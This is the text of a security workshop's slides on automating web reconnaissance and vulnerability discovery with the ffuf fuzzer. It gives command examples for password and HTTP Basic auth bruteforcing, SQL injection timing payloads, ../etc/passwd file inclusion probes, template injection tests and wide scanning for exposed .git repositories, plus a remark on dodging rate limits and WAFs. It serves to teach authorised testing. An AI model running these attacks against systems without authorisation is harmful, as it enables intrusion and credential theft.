ffuf the web

automatable web attack techniques

https://io.fi/ffuf-workshop

whoami

Joona Hoikkala

  • @joohoi everywhere on the inter{webs,tubes,pipes}
  • Red team manager at
  • Open source stuff: acme-dns, ffuf, certbot
  • Dad, board game geek, brewer

Why to automate?

  • Scaling to infinity
  • Pre-defined and reproducible process / methodology
  • Iterative improvements
  • Letting the computers to the boring part...

What can we find with this approach?

  • Recon: content, virtualhosts, parameters, api endpoints, misconfigurations
  • Vulnerabilities: XSS, SQLi, LFI, SSRF, IDOR, SSTI
  • It all boils down to which part of the request to fuzz, and with what kind of inputs...

Building blocks

Recon -> Identification -> Reporting / exploitation

Recon

  • Find information about the target
  • Avoid unnecessary load and make everything faster
  • Expand your scope
  • Multiple tools of the trade, my personal preferences:
    • Subdomains: Amass
    • Ports / tech detection: nmap
    • Web tech detection: httpx
    • Virtualhosts / paths / content / assets: ffuf
    • Inner links: hakrawler

Identification

  • XSS: Look for reflections from parameter inputs
  • LFI: Look for known strings (like "root:x:0:" for /etc/passwd)
  • SQLi: Use timing based payloads with proper ffuf filters
  • SSRF: Look for callbacks with interactsh / burp collaborator
  • IDOR: Look for known non-accessible data
  • SSTI: Look for calculation results based on your payloads
  • ...[insert your vulnerability category here]...

Examples provided later in the presentation

Reporting

  • Push to external services: notify
    • Slack
    • Discord
    • Custom webhooks
    • E-mail
    • Output files
  • ...or write your own
    • Simple example for Mattermost webhook can be found here.

Stitching it all together

Scripting, parsing, piping and filtering

Scripting

To allow easy extension and iterative automation build-up is to use either Python or shell scripting (for the shell of your choice).

  • Benefits of 🐍
    • Ability to act immediately on results, "event" based
    • Easy to filter results within the flow
    • Have more control without extensive knowledge of dark magic
    • Control of (potentially) parallel jobs
  • Benefits of 🐚
    • Get going extremely fast
    • A lot of readily made FOSS tools on your disposal
    • Easy to scale even further with frameworks like Axiom

Parsing

JSON is made to be read by computers, and it's your best ally. Most of the tools support it in one way or another. In general you'll be dealing with either newline separated text files, or JSON.

  • Python supports JSON natively
  • jq is a awesome CLI tool for JSON parsing / filtering
  • Cherrypick specific parts of urls with unfurl

Piping

Many different stages in the automation pipeline can branch in to multiple subtasks, so it's often good to store results from previous stages to a temporary file. This often helps you to debug possible issues as well.

  • Use tee to append stdout to a file while also displaying it
  • anew adds only new unique lines to the output file

Filtering

Try to avoid creating unnecessary traffic, and especially spinning out of scope that can happen quite easily. Make sure to filter out unwanted entries from your automation workflow in an early stage. This will make your automation faster, and will cause considerably less legal issues down the road ;)

An example of a simple python script that reads lines from stdin (intended to be used within a pipe) and outputting only http(s) urls within scope can be found here

wordlists

Everything starts with a good, potentially context specific wordlist.

A simple example of a context specific addition to a default wordlist is using output from recon to feed into wordlists for the next stages.

#!/bin/bash
# Optimally you already have the links from a previous step
echo 'https://target.tld' |hakrawler -subs -u |tee target.tld.txt
cat target.tld.txt |unfurl keys |anew custom_words.txt
cat target.tld.txt |unfurl values |anew custom_words.txt
# Add common entries from a public SecLists wordlist
cat burp-parameter-names.txt |anew custom_words.txt
                                

A web fuzzing tool that aims to be accurate, reliable and fast.

Swiss army knife: giving the user as much control as possible.

Feature-rich. If it doesn't exist, you don't need it (joking obv.)

Behind the scenes

GET /path/resourcename?id=12345 HTTP/1.1
Host: ffuf.io.fi
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; ...
Accept: text/html
Connection: keep-alive
Cookie: cookiename=cookievalue;session_id=1234567890
Pragma: no-cache
Cache-Control: no-cache
GET /path/FUZZRES?id=12345 HTTP/1.1
Host: ffuf.io.fi
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; ...
Accept: text/html
Connection: keep-alive
Cookie: cookiename=FUZZCOOK;session_id=1234567890
Pragma: no-cache
Cache-Control: no-cache

$ ffuf -w custom_words.txt:KEYS -w cookies.txt:FUZZCOOK ...

meme by: @aufzayed

FFUF Examples

The examples show how things are done manually. Usually the only real modification that you need to do for automation is to use autocalibration. Typically -ac -ach (autocalibration per host) is enough.

Resource discovery

ffuf -w "/path/to/wordlist" -u "https://ffuf.io.fi/FUZZ" -t 100 -c

Password bruteforcing

ffuf -c -X POST -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=joohoi&password=FUZZ" -w passwords.txt \
     -u "https://ffuf.io.fi/login.php" -fr "error"

Multiple wordlists

(and HTTP Basic auth bruteforcing)

ffuf -c -w "users.txt:USER" -w "passwords.txt:PASS" \
    -u "https://USER:PASS@ffuf.io.fi/secure/" -fc 401

Virtualhost discovery

ffuf -c -w SecLists/Discovery/DNS/fierce-hostlist.txt \
     -H "Host: FUZZ.ffuf.io.fi" -t 1000 -u "http://ffuf.io.fi/"

Parameter discovery

ffuf -c -w "~/SecLists/Discovery/Web-Content/burp-parameter-names.txt" \
    -u "https://ffuf.io.fi/content.php?FUZZ=true"

GET parameter fuzzing

seq 1 10000 > numbers.txt && \
ffuf -c -w "numbers.txt" -u "https://ffuf.io.fi/content.php?id=FUZZ"

XSS helper: find filtered characters

# chars.txt with a list of special characters and/or strings
ffuf -w chars.txt -u https://ffuf.io.fi/reflection.php?data=abcdFUZZefg \
    -c -v -fr "abcdFUZZefg"

Template injection

# ti.txt with different template injection payloads with a common outcome
ffuf -w ti.txt -u https://ffuf.io.fi/reflection.php?ti=FUZZ -mr 'abc42abc' -v -c

...where the wordlist contains test cases like abc{{ 6*7 }}abc

SQL injections

ffuf -w sqli.txt -u https://ffuf.io.fi/search.php?q=FUZZ -c -v -ft '<5000'

...where the wordlist contains test cases like: ') or sleep(5)='

Local file inclusion

ffuf -w lfi.txt -u https://ffuf.io.fi/show.php?file=FUZZ -mr 'root:x:' -v -c

...where the wordlist includes test cases like ../../../etc/passwd

Go wide!

ffuf -w hosts.txt:HOST -u https://HOST/.git/config -c -v -mr '\[core\]'

...to find exposed git repositories to extract

Before your start

  • Perfect is the worst enemy of done
  • Start small, expand iteratively
  • Automation pipelines are modular. Reuse what you have.

Further learning

Play nice!

...and be effective at the same time.

Especially when scanning live production targets, it's best to scale horizontally.

This way you won't be stressing a single server too much. You might avoid getting blocked by rate limits / WAF's this way too ;)

Common pitfalls

  • Out of available file descriptors
  • Not terminating the pipeline early enough in case of an error
  • Getting rate limited / blocked by WAF

SCAAAAAAAAAAAALE

https://github.com/pry0cc/axiom

A HREF